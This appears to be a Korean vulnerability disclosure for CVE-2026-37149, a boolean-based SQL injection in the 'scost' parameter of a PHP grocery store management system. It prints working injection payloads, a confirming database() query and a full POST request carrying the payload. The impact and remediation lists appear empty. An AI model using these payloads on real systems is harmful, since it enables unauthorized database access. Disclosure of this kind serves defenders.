
CVE-2026-37149 - GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0의 search_products.php에서 scost 파라미터의 SQL 인젝션 취약점.
CVE-2026-37149 GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0의 SQL 인젝션
GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0에는 "/grocery/search_products.php"의 "scost" 매개변수에 SQL 인젝션 취약점이 존재합니다.
애플리케이션은 SQL 쿼리에 입력값을 포함시키기 전에 사용자 입력을 제대로 검증하지 못합니다. 공격자는 취약한 매개변수를 통해 조작된 SQL 표현식을 주입하고 백엔드 데이터베이스 쿼리를 조작할 수 있습니다.
성공적으로 악용될 경우 민감한 데이터베이스 정보에 대한 무단 접근 및 임의 SQL 문 실행이 가능할 수 있습니다.
https://github.com/anirudhkannanvp/GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN-
원격(Remote)
저장소 소유자가 유지 관리하는 오픈소스 프로젝트: https://github.com/anirudhkannanvp
이 취약점은 Boolean 기반 SQL 인젝션 기법을 사용하여 확인되었습니다.
-1 OR 3*2*1=6 AND 000483=000483 --
-1 OR 3*2*0=6 AND 000483=000483 --
주입된 조건이 TRUE 또는 FALSE로 평가되는지에 따라 애플리케이션 응답이 달라졌으며, 이를 통해 SQL 인젝션을 확인했습니다.
추가 테스트를 통해 다음을 포함한 SQL 함수의 성공적인 실행이 확인되었습니다.
SELECT database()
반환된 데이터베이스 이름은 다음과 같습니다.
grocery
이는 취약한 매개변수를 통해 임의 SQL 쿼리를 실행할 수 있음을 입증합니다.
POST /grocery/search_products.php HTTP/1.1
Host: localhost
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
scategory=1&
scost=-1 OR 3*2*1=6 AND 000483=000483 -- &
sitem_name=test&
spid=1&
submit=Search%20For%20products
주입된 Boolean 조건에 따라 응답이 달라지며, "scost" 매개변수의 SQL 인젝션을 확인할 수 있습니다.
잠재적 영향은 다음과 같습니다.
개발자는 다음을 수행해야 합니다.
OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection
MITRE CVE 프로그램 https://www.cve.org
발견 및 보고자: Dhyey Patel